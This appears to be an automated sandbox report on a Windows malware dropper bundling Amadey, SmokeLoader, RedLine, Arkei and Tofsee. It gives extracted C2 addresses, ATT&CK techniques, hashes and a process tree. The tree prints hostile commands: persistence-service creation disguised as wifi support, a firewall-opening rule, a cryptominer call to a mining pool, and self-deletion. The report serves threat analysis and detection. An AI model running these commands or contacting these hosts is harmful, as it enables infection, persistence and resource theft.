amadey | 6b279a737e3c2fe0fc4f66fb1c01632285a88bbf9832e6530fa84fb0ebc707a7

Analysis

max time kernel
136s
max time network
151s
platform
windows7_x64
resource
win7-en-20211014
submitted
30-11-2021 12:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

6b279a737e3c2fe0fc4f66fb1c01632285a88bbf9832e6530fa84fb0ebc707a7.exe
Size

159KB
MD5

9953ac3991b927397b7a2aba2caab5cd
SHA1

c2e1243d3a60a6501def729140d5f724c8f87b5e
SHA256

6b279a737e3c2fe0fc4f66fb1c01632285a88bbf9832e6530fa84fb0ebc707a7
SHA512

a52073dec42493db554302cc1dcfbe726943b31e9d7a0ac2c4c664bd8fcb43c7aec89737931a805dde19099c8a9a4224f2ba47bc692a77e441deb8a31de1602d

Score

10^/10

amadey arkei cryptbot redline smokeloader tofsee default backdoor discovery evasion infostealer persistence spyware stealer themida trojan

Malware Config

Extracted

Family

smokeloader

Version

2020

http://host-data-coin-11.com/

http://file-coin-host-12.com/

http://srtuiyhuali.at/

http://fufuiloirtu.com/

http://amogohuigotuli.at/

http://novohudosovu.com/

http://brutuilionust.com/

http://bubushkalioua.com/

http://dumuilistrati.at/

http://verboliatsiaeeees.com/

rc4.i32

Extracted

Family

tofsee

quadoil.ru

lakeflex.ru

Extracted

Family

redline

92.255.76.197:38637

Extracted

Family

arkei

Botnet

Default

http://file-file-host4.com/tratata.php

Extracted

Family

amadey

Version

2.85

185.215.113.35/d2VxjasuwS/index.php

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Arkei
Arkei is an infostealer written in C++.
stealer arkei
CryptBot
A C++ stealer distributed widely in bundle with other software.
spyware stealer cryptbot
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 6 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1856-86-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline
behavioral1/memory/1856-87-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline
behavioral1/memory/1856-88-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline
behavioral1/memory/1856-89-0x0000000000418EE6-mapping.dmp	family_redline
behavioral1/memory/1856-91-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline
behavioral1/memory/1256-152-0x00000000009A0000-0x0000000000A94000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Tofsee
Backdoor/botnet which carries out malicious activities based on commands from a C2 server.
trojan tofsee

Arkei Stealer Payload 2 IoCs

stealer

Processes:

resource	yara_rule
behavioral1/memory/1332-95-0x0000000000280000-0x00000000002A1000-memory.dmp	family_arkei
behavioral1/memory/1332-96-0x0000000000400000-0x0000000002B6F000-memory.dmp	family_arkei

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497
Creates new service(s) 1 TTPs
persistence

New Service
T1050
Downloads MZ/PE file
Executes dropped EXE 9 IoCs

Processes:

C38D.exeC784.exeCFA0.exeD55C.exeC784.exeE3AF.exeE3AF.exefsbyzeqd.exeF54C.exe

pid process

1072 C38D.exe
2004 C784.exe
1888 CFA0.exe
1332 D55C.exe
1856 C784.exe
892 E3AF.exe
1596 E3AF.exe
1632 fsbyzeqd.exe
780 F54C.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031
Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

pid	process
1072	C38D.exe
2004	C784.exe
1888	CFA0.exe
1332	D55C.exe
1856	C784.exe
892	E3AF.exe
1596	E3AF.exe
1632	fsbyzeqd.exe
780	F54C.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

F54C.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	F54C.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	F54C.exe

Deletes itself 1 IoCs

Processes:

pid process

1392
Loads dropped DLL 2 IoCs

Processes:

C784.exeE3AF.exe

pid process

2004 C784.exe
892 E3AF.exe

pid	process
1392

pid	process
2004	C784.exe
892	E3AF.exe

Themida packer 6 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\F54C.exe	themida
behavioral1/memory/780-119-0x0000000000D00000-0x00000000013E2000-memory.dmp	themida
behavioral1/memory/780-120-0x0000000000D00000-0x00000000013E2000-memory.dmp	themida
behavioral1/memory/780-121-0x0000000000D00000-0x00000000013E2000-memory.dmp	themida
behavioral1/memory/780-122-0x0000000000D00000-0x00000000013E2000-memory.dmp	themida
C:\Users\Admin\AppData\Local\Temp\F54C.exe	themida

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

F54C.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA F54C.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

F54C.exe

pid process

780 F54C.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	F54C.exe

pid	process
780	F54C.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

6b279a737e3c2fe0fc4f66fb1c01632285a88bbf9832e6530fa84fb0ebc707a7.exeC784.exeE3AF.exefsbyzeqd.exe

description	pid	process	target process
PID 828 set thread context of 512	828	6b279a737e3c2fe0fc4f66fb1c01632285a88bbf9832e6530fa84fb0ebc707a7.exe	6b279a737e3c2fe0fc4f66fb1c01632285a88bbf9832e6530fa84fb0ebc707a7.exe
PID 2004 set thread context of 1856	2004	C784.exe	C784.exe
PID 892 set thread context of 1596	892	E3AF.exe	E3AF.exe
PID 1632 set thread context of 908	1632	fsbyzeqd.exe	svchost.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 9 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

CFA0.exeE3AF.exe6b279a737e3c2fe0fc4f66fb1c01632285a88bbf9832e6530fa84fb0ebc707a7.exe

description	ioc	process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	CFA0.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	E3AF.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	E3AF.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	6b279a737e3c2fe0fc4f66fb1c01632285a88bbf9832e6530fa84fb0ebc707a7.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	6b279a737e3c2fe0fc4f66fb1c01632285a88bbf9832e6530fa84fb0ebc707a7.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	CFA0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	E3AF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	6b279a737e3c2fe0fc4f66fb1c01632285a88bbf9832e6530fa84fb0ebc707a7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	CFA0.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

F54C.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	F54C.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	F54C.exe

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

1040 timeout.exe

pid	process
1040	timeout.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

6b279a737e3c2fe0fc4f66fb1c01632285a88bbf9832e6530fa84fb0ebc707a7.exe

pid	process
512	6b279a737e3c2fe0fc4f66fb1c01632285a88bbf9832e6530fa84fb0ebc707a7.exe
512	6b279a737e3c2fe0fc4f66fb1c01632285a88bbf9832e6530fa84fb0ebc707a7.exe
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392
1392

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

1392
Suspicious behavior: MapViewOfSection 3 IoCs

Processes:

6b279a737e3c2fe0fc4f66fb1c01632285a88bbf9832e6530fa84fb0ebc707a7.exeCFA0.exeE3AF.exe

pid process

512 6b279a737e3c2fe0fc4f66fb1c01632285a88bbf9832e6530fa84fb0ebc707a7.exe
1888 CFA0.exe
1596 E3AF.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

description pid process

Token: SeShutdownPrivilege 1392
Token: SeShutdownPrivilege 1392
Token: SeShutdownPrivilege 1392
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

pid process

1392
1392
Suspicious use of SendNotifyMessage 2 IoCs

Processes:

pid process

1392
1392

pid	process
1392

description	pid	process
Token: SeShutdownPrivilege	1392
Token: SeShutdownPrivilege	1392
Token: SeShutdownPrivilege	1392

pid	process
1392
1392

pid	process
1392
1392

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

6b279a737e3c2fe0fc4f66fb1c01632285a88bbf9832e6530fa84fb0ebc707a7.exeC784.exeC38D.exeE3AF.exe

description	pid	process	target process
PID 828 wrote to memory of 512	828	6b279a737e3c2fe0fc4f66fb1c01632285a88bbf9832e6530fa84fb0ebc707a7.exe	6b279a737e3c2fe0fc4f66fb1c01632285a88bbf9832e6530fa84fb0ebc707a7.exe
PID 828 wrote to memory of 512	828	6b279a737e3c2fe0fc4f66fb1c01632285a88bbf9832e6530fa84fb0ebc707a7.exe	6b279a737e3c2fe0fc4f66fb1c01632285a88bbf9832e6530fa84fb0ebc707a7.exe
PID 828 wrote to memory of 512	828	6b279a737e3c2fe0fc4f66fb1c01632285a88bbf9832e6530fa84fb0ebc707a7.exe	6b279a737e3c2fe0fc4f66fb1c01632285a88bbf9832e6530fa84fb0ebc707a7.exe
PID 828 wrote to memory of 512	828	6b279a737e3c2fe0fc4f66fb1c01632285a88bbf9832e6530fa84fb0ebc707a7.exe	6b279a737e3c2fe0fc4f66fb1c01632285a88bbf9832e6530fa84fb0ebc707a7.exe
PID 828 wrote to memory of 512	828	6b279a737e3c2fe0fc4f66fb1c01632285a88bbf9832e6530fa84fb0ebc707a7.exe	6b279a737e3c2fe0fc4f66fb1c01632285a88bbf9832e6530fa84fb0ebc707a7.exe
PID 828 wrote to memory of 512	828	6b279a737e3c2fe0fc4f66fb1c01632285a88bbf9832e6530fa84fb0ebc707a7.exe	6b279a737e3c2fe0fc4f66fb1c01632285a88bbf9832e6530fa84fb0ebc707a7.exe
PID 828 wrote to memory of 512	828	6b279a737e3c2fe0fc4f66fb1c01632285a88bbf9832e6530fa84fb0ebc707a7.exe	6b279a737e3c2fe0fc4f66fb1c01632285a88bbf9832e6530fa84fb0ebc707a7.exe
PID 1392 wrote to memory of 1072	1392		C38D.exe
PID 1392 wrote to memory of 1072	1392		C38D.exe
PID 1392 wrote to memory of 1072	1392		C38D.exe
PID 1392 wrote to memory of 1072	1392		C38D.exe
PID 1392 wrote to memory of 2004	1392		C784.exe
PID 1392 wrote to memory of 2004	1392		C784.exe
PID 1392 wrote to memory of 2004	1392		C784.exe
PID 1392 wrote to memory of 2004	1392		C784.exe
PID 2004 wrote to memory of 1856	2004	C784.exe	C784.exe
PID 2004 wrote to memory of 1856	2004	C784.exe	C784.exe
PID 2004 wrote to memory of 1856	2004	C784.exe	C784.exe
PID 2004 wrote to memory of 1856	2004	C784.exe	C784.exe
PID 1392 wrote to memory of 1888	1392		CFA0.exe
PID 1392 wrote to memory of 1888	1392		CFA0.exe
PID 1392 wrote to memory of 1888	1392		CFA0.exe
PID 1392 wrote to memory of 1888	1392		CFA0.exe
PID 1392 wrote to memory of 1332	1392		D55C.exe
PID 1392 wrote to memory of 1332	1392		D55C.exe
PID 1392 wrote to memory of 1332	1392		D55C.exe
PID 1392 wrote to memory of 1332	1392		D55C.exe
PID 2004 wrote to memory of 1856	2004	C784.exe	C784.exe
PID 2004 wrote to memory of 1856	2004	C784.exe	C784.exe
PID 2004 wrote to memory of 1856	2004	C784.exe	C784.exe
PID 2004 wrote to memory of 1856	2004	C784.exe	C784.exe
PID 2004 wrote to memory of 1856	2004	C784.exe	C784.exe
PID 1072 wrote to memory of 1948	1072	C38D.exe	cmd.exe
PID 1072 wrote to memory of 1948	1072	C38D.exe	cmd.exe
PID 1072 wrote to memory of 1948	1072	C38D.exe	cmd.exe
PID 1072 wrote to memory of 1948	1072	C38D.exe	cmd.exe
PID 1072 wrote to memory of 1724	1072	C38D.exe	cmd.exe
PID 1072 wrote to memory of 1724	1072	C38D.exe	cmd.exe
PID 1072 wrote to memory of 1724	1072	C38D.exe	cmd.exe
PID 1072 wrote to memory of 1724	1072	C38D.exe	cmd.exe
PID 1072 wrote to memory of 924	1072	C38D.exe	sc.exe
PID 1072 wrote to memory of 924	1072	C38D.exe	sc.exe
PID 1072 wrote to memory of 924	1072	C38D.exe	sc.exe
PID 1072 wrote to memory of 924	1072	C38D.exe	sc.exe
PID 1392 wrote to memory of 892	1392		E3AF.exe
PID 1392 wrote to memory of 892	1392		E3AF.exe
PID 1392 wrote to memory of 892	1392		E3AF.exe
PID 1392 wrote to memory of 892	1392		E3AF.exe
PID 1072 wrote to memory of 952	1072	C38D.exe	sc.exe
PID 1072 wrote to memory of 952	1072	C38D.exe	sc.exe
PID 1072 wrote to memory of 952	1072	C38D.exe	sc.exe
PID 1072 wrote to memory of 952	1072	C38D.exe	sc.exe
PID 892 wrote to memory of 1596	892	E3AF.exe	E3AF.exe
PID 892 wrote to memory of 1596	892	E3AF.exe	E3AF.exe
PID 892 wrote to memory of 1596	892	E3AF.exe	E3AF.exe
PID 892 wrote to memory of 1596	892	E3AF.exe	E3AF.exe
PID 892 wrote to memory of 1596	892	E3AF.exe	E3AF.exe
PID 892 wrote to memory of 1596	892	E3AF.exe	E3AF.exe
PID 892 wrote to memory of 1596	892	E3AF.exe	E3AF.exe
PID 1072 wrote to memory of 1156	1072	C38D.exe	sc.exe
PID 1072 wrote to memory of 1156	1072	C38D.exe	sc.exe
PID 1072 wrote to memory of 1156	1072	C38D.exe	sc.exe
PID 1072 wrote to memory of 1156	1072	C38D.exe	sc.exe
PID 1072 wrote to memory of 288	1072	C38D.exe	netsh.exe

C:\Users\Admin\AppData\Local\Temp\6b279a737e3c2fe0fc4f66fb1c01632285a88bbf9832e6530fa84fb0ebc707a7.exe
"C:\Users\Admin\AppData\Local\Temp\6b279a737e3c2fe0fc4f66fb1c01632285a88bbf9832e6530fa84fb0ebc707a7.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:828
- C:\Users\Admin\AppData\Local\Temp\6b279a737e3c2fe0fc4f66fb1c01632285a88bbf9832e6530fa84fb0ebc707a7.exe
  "C:\Users\Admin\AppData\Local\Temp\6b279a737e3c2fe0fc4f66fb1c01632285a88bbf9832e6530fa84fb0ebc707a7.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:512

C:\Users\Admin\AppData\Local\Temp\C38D.exe
C:\Users\Admin\AppData\Local\Temp\C38D.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1072
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\qornietm\
  2⤵
  PID:1948
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\fsbyzeqd.exe" C:\Windows\SysWOW64\qornietm\
  2⤵
  PID:1724
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" create qornietm binPath= "C:\Windows\SysWOW64\qornietm\fsbyzeqd.exe /d\"C:\Users\Admin\AppData\Local\Temp\C38D.exe\"" type= own start= auto DisplayName= "wifi support"
  2⤵
  PID:924
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" description qornietm "wifi internet conection"
  2⤵
  PID:952
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" start qornietm
  2⤵
  PID:1156
- C:\Windows\SysWOW64\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
  2⤵
  PID:288

C:\Users\Admin\AppData\Local\Temp\C784.exe
C:\Users\Admin\AppData\Local\Temp\C784.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2004
- C:\Users\Admin\AppData\Local\Temp\C784.exe
  C:\Users\Admin\AppData\Local\Temp\C784.exe
  2⤵
  - Executes dropped EXE
  PID:1856

C:\Users\Admin\AppData\Local\Temp\CFA0.exe
C:\Users\Admin\AppData\Local\Temp\CFA0.exe
1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:1888

C:\Users\Admin\AppData\Local\Temp\D55C.exe
C:\Users\Admin\AppData\Local\Temp\D55C.exe
1⤵
- Executes dropped EXE
PID:1332

C:\Users\Admin\AppData\Local\Temp\E3AF.exe
C:\Users\Admin\AppData\Local\Temp\E3AF.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:892
- C:\Users\Admin\AppData\Local\Temp\E3AF.exe
  C:\Users\Admin\AppData\Local\Temp\E3AF.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:1596

C:\Windows\SysWOW64\qornietm\fsbyzeqd.exe
C:\Windows\SysWOW64\qornietm\fsbyzeqd.exe /d"C:\Users\Admin\AppData\Local\Temp\C38D.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1632
- C:\Windows\SysWOW64\svchost.exe
  svchost.exe
  2⤵
  PID:908
- - C:\Windows\SysWOW64\svchost.exe
    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
    3⤵
    PID:820

C:\Users\Admin\AppData\Local\Temp\F54C.exe
C:\Users\Admin\AppData\Local\Temp\F54C.exe
1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks processor information in registry
PID:780
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c rd /s /q C:\Users\Admin\AppData\Local\Temp\AiHSxqhD & timeout 4 & del /f /q "C:\Users\Admin\AppData\Local\Temp\F54C.exe"
  2⤵
  PID:1204
- - C:\Windows\SysWOW64\timeout.exe
    timeout 4
    3⤵
    - Delays execution with timeout.exe
    PID:1040

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\361.dll
1⤵
PID:1076

C:\Users\Admin\AppData\Local\Temp\91C.exe
C:\Users\Admin\AppData\Local\Temp\91C.exe
1⤵
PID:1416
- C:\Users\Admin\AppData\Local\Temp\91C.exe
  C:\Users\Admin\AppData\Local\Temp\91C.exe
  2⤵
  PID:1572

C:\Users\Admin\AppData\Local\Temp\1AAA.exe
C:\Users\Admin\AppData\Local\Temp\1AAA.exe
1⤵
PID:1256

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

New Service

T1050

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

New Service

T1050

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\1AAA.exe

MD5
6c62ce3bb2bc9c28cb6e9068694b2049

SHA1
3a9551629008372dd46dd51d4b022aeeb2e6af45

SHA256
f75bda07c2fc02d23c291e0894bdc72923fc6e0f6959e65a3922cb09ef1f1fda

SHA512
4f9daab3ff7236443cf8bdb0df46d69c3dbfcdc21fe1e6c662a466e8fd29b0dd23128fe5da531a3bd04dc7707ccc7fcf48b300651c7af5a4d9c418d3d7e0ef54

Download Submit
C:\Users\Admin\AppData\Local\Temp\1AAA.exe

MD5
6c62ce3bb2bc9c28cb6e9068694b2049

SHA1
3a9551629008372dd46dd51d4b022aeeb2e6af45

SHA256
f75bda07c2fc02d23c291e0894bdc72923fc6e0f6959e65a3922cb09ef1f1fda

SHA512
4f9daab3ff7236443cf8bdb0df46d69c3dbfcdc21fe1e6c662a466e8fd29b0dd23128fe5da531a3bd04dc7707ccc7fcf48b300651c7af5a4d9c418d3d7e0ef54

Download Submit
C:\Users\Admin\AppData\Local\Temp\361.dll

MD5
2ee33ef3b24574c9fb54fd75e29fdf6e

SHA1
158a048f5f5feac85eb5791fbb25ba6aaf262712

SHA256
46e20b3931c4550ade3e4abd395a289621ea3f42f6aa44c90083ebb7f7be2704

SHA512
0655a316b91070c8275afba7ab8437da66cd8b00e4ddcc58c86fa28444deb66700d19e76e93329910c7e44ef28ec488556e2026221980b6aacaa804745a56c5e

Download Submit
C:\Users\Admin\AppData\Local\Temp\91C.exe

MD5
ec3dd212816fad46a2e835f45c245aee

SHA1
a2b942fce352d4880f4a65a8cca91237d5d78a4a

SHA256
fb452b1488f00eb47c35b783125cb4ef2ef9c97e82ccda1c651ceaa3ee12a60e

SHA512
aee78919ceb55801d1ce4e6d0c4050804307be592a8be546db232a3cf984ab10ce6f26169ea9f06bf8e6c1a6ef486c1bac45fe412cced412f9cadbca116253e7

Download Submit
C:\Users\Admin\AppData\Local\Temp\91C.exe

MD5
ec3dd212816fad46a2e835f45c245aee

SHA1
a2b942fce352d4880f4a65a8cca91237d5d78a4a

SHA256
fb452b1488f00eb47c35b783125cb4ef2ef9c97e82ccda1c651ceaa3ee12a60e

SHA512
aee78919ceb55801d1ce4e6d0c4050804307be592a8be546db232a3cf984ab10ce6f26169ea9f06bf8e6c1a6ef486c1bac45fe412cced412f9cadbca116253e7

Download Submit
C:\Users\Admin\AppData\Local\Temp\91C.exe

MD5
ec3dd212816fad46a2e835f45c245aee

SHA1
a2b942fce352d4880f4a65a8cca91237d5d78a4a

SHA256
fb452b1488f00eb47c35b783125cb4ef2ef9c97e82ccda1c651ceaa3ee12a60e

SHA512
aee78919ceb55801d1ce4e6d0c4050804307be592a8be546db232a3cf984ab10ce6f26169ea9f06bf8e6c1a6ef486c1bac45fe412cced412f9cadbca116253e7

Download Submit
C:\Users\Admin\AppData\Local\Temp\C38D.exe

MD5
e7f606299a819430be235ed185050de1

SHA1
73a88c1712d1c91731f7557c4a023b1599c5ac6c

SHA256
4f140797fa904582e8422edd3bc1c661b72a1a1ee23a329173017e20901e25ca

SHA512
cc78cd7711c2eaa7ed3ba52f77fdb02096bca1c35dbfff3576aa72d7273dfb7fa388b51c605188c7c66fa2cdc7d4d48b6d1652bc390de5e91ec2a97455e95c12

Download Submit
C:\Users\Admin\AppData\Local\Temp\C38D.exe

MD5
e7f606299a819430be235ed185050de1

SHA1
73a88c1712d1c91731f7557c4a023b1599c5ac6c

SHA256
4f140797fa904582e8422edd3bc1c661b72a1a1ee23a329173017e20901e25ca

SHA512
cc78cd7711c2eaa7ed3ba52f77fdb02096bca1c35dbfff3576aa72d7273dfb7fa388b51c605188c7c66fa2cdc7d4d48b6d1652bc390de5e91ec2a97455e95c12

Download Submit
C:\Users\Admin\AppData\Local\Temp\C784.exe

MD5
5115e5dab211559a85cd0154e8100f53

SHA1
347800b72ac53ec6e2c87e433763b20282a2c06d

SHA256
ef156fb3a203fe197d89d63e2ea7805a1b9af505dfff5a58532dbfe34e7aabaa

SHA512
d03e58376be1e299a6da57a28ed5db176999baded713aa54ddb59cf8c82b97e8c0b028ce07bddb6989c7c77e518e151e112dde2f1d5244ac2572e4371fa68c12

Download Submit
C:\Users\Admin\AppData\Local\Temp\C784.exe

MD5
5115e5dab211559a85cd0154e8100f53

SHA1
347800b72ac53ec6e2c87e433763b20282a2c06d

SHA256
ef156fb3a203fe197d89d63e2ea7805a1b9af505dfff5a58532dbfe34e7aabaa

SHA512
d03e58376be1e299a6da57a28ed5db176999baded713aa54ddb59cf8c82b97e8c0b028ce07bddb6989c7c77e518e151e112dde2f1d5244ac2572e4371fa68c12

Download Submit
C:\Users\Admin\AppData\Local\Temp\C784.exe

MD5
5115e5dab211559a85cd0154e8100f53

SHA1
347800b72ac53ec6e2c87e433763b20282a2c06d

SHA256
ef156fb3a203fe197d89d63e2ea7805a1b9af505dfff5a58532dbfe34e7aabaa

SHA512
d03e58376be1e299a6da57a28ed5db176999baded713aa54ddb59cf8c82b97e8c0b028ce07bddb6989c7c77e518e151e112dde2f1d5244ac2572e4371fa68c12

Download Submit
C:\Users\Admin\AppData\Local\Temp\CFA0.exe

MD5
646cc8edbe849bf17c1694d936f7ae6b

SHA1
68b8e56cd63da79a8ace5c70f22cd0a6b3672497

SHA256
836e9de6ff5057a4964402ed5a9695e270a7db9e0d8b756a99203befa70fc4b7

SHA512
92df2e2fcfc8c0c2789222966f09b1c295e2b4d2f5d86a10d513dd05749507792d3df78b5f1d605517bba86cbc48c7ba6c9b54d8aba246a1b2cc0a75f626d9d1

Download Submit
C:\Users\Admin\AppData\Local\Temp\D55C.exe

MD5
85572d81747be0603ac9d09799a4bd24

SHA1
06565fce8a6e95154d43c6b45bfd8d263b00db3b

SHA256
5d559dc3d22a4c388a026611e15477211e81aaf560eddf9f99d7640d28dce665

SHA512
f22b56987e27454ceafe9e1810384771b6ff86106b6f3c467dc88cd85bbf241f9e76343f60cc271898df28935fe01794490e2072e893bc404ed4907d957002fc

Download Submit
C:\Users\Admin\AppData\Local\Temp\E3AF.exe

MD5
63a0fb8f314abaa43469f38a6ebe6d53

SHA1
b3c17797e44fca808f2e22ee6491a7f6bee5500d

SHA256
6e86441e4c99176a18d5a32f4fddcc419b1c77aeffa6c46fe06a0cfece9e63de

SHA512
b5c07fe1690820aa533cd44f91a1cbcff1d6e77795462605ed3aa3a927a2f876bde94c1fe0c565a6d993430357ace246b44fa43d2f42ad0a74c0a7b15078369d

Download Submit
C:\Users\Admin\AppData\Local\Temp\E3AF.exe

MD5
63a0fb8f314abaa43469f38a6ebe6d53

SHA1
b3c17797e44fca808f2e22ee6491a7f6bee5500d

SHA256
6e86441e4c99176a18d5a32f4fddcc419b1c77aeffa6c46fe06a0cfece9e63de

SHA512
b5c07fe1690820aa533cd44f91a1cbcff1d6e77795462605ed3aa3a927a2f876bde94c1fe0c565a6d993430357ace246b44fa43d2f42ad0a74c0a7b15078369d

Download Submit
C:\Users\Admin\AppData\Local\Temp\E3AF.exe

MD5
63a0fb8f314abaa43469f38a6ebe6d53

SHA1
b3c17797e44fca808f2e22ee6491a7f6bee5500d

SHA256
6e86441e4c99176a18d5a32f4fddcc419b1c77aeffa6c46fe06a0cfece9e63de

SHA512
b5c07fe1690820aa533cd44f91a1cbcff1d6e77795462605ed3aa3a927a2f876bde94c1fe0c565a6d993430357ace246b44fa43d2f42ad0a74c0a7b15078369d

Download Submit
C:\Users\Admin\AppData\Local\Temp\F54C.exe

MD5
ca16ca4aa9cf9777274447c9f4ba222e

SHA1
1025ed93e5f44d51b96f1a788764cc4487ee477e

SHA256
0016755526279c5c404b670ecb2d81af46066d879c389924a6574ab9864b5c04

SHA512
72d8d2a729b8ce2940235d3a317ee3eb0eb8d1411e847d6d11e36484f520bb88b3cabd03716b3c2988b0a053426be14aace154f13d306883788f952cd03cf712

Download Submit
C:\Users\Admin\AppData\Local\Temp\F54C.exe

MD5
ca16ca4aa9cf9777274447c9f4ba222e

SHA1
1025ed93e5f44d51b96f1a788764cc4487ee477e

SHA256
0016755526279c5c404b670ecb2d81af46066d879c389924a6574ab9864b5c04

SHA512
72d8d2a729b8ce2940235d3a317ee3eb0eb8d1411e847d6d11e36484f520bb88b3cabd03716b3c2988b0a053426be14aace154f13d306883788f952cd03cf712

Download Submit
C:\Users\Admin\AppData\Local\Temp\fsbyzeqd.exe

MD5
98a9eed51fa41887484642dfb5eb4df3

SHA1
9e9847a6f6cbd9a120b418670af5cb4dc1eff3d7

SHA256
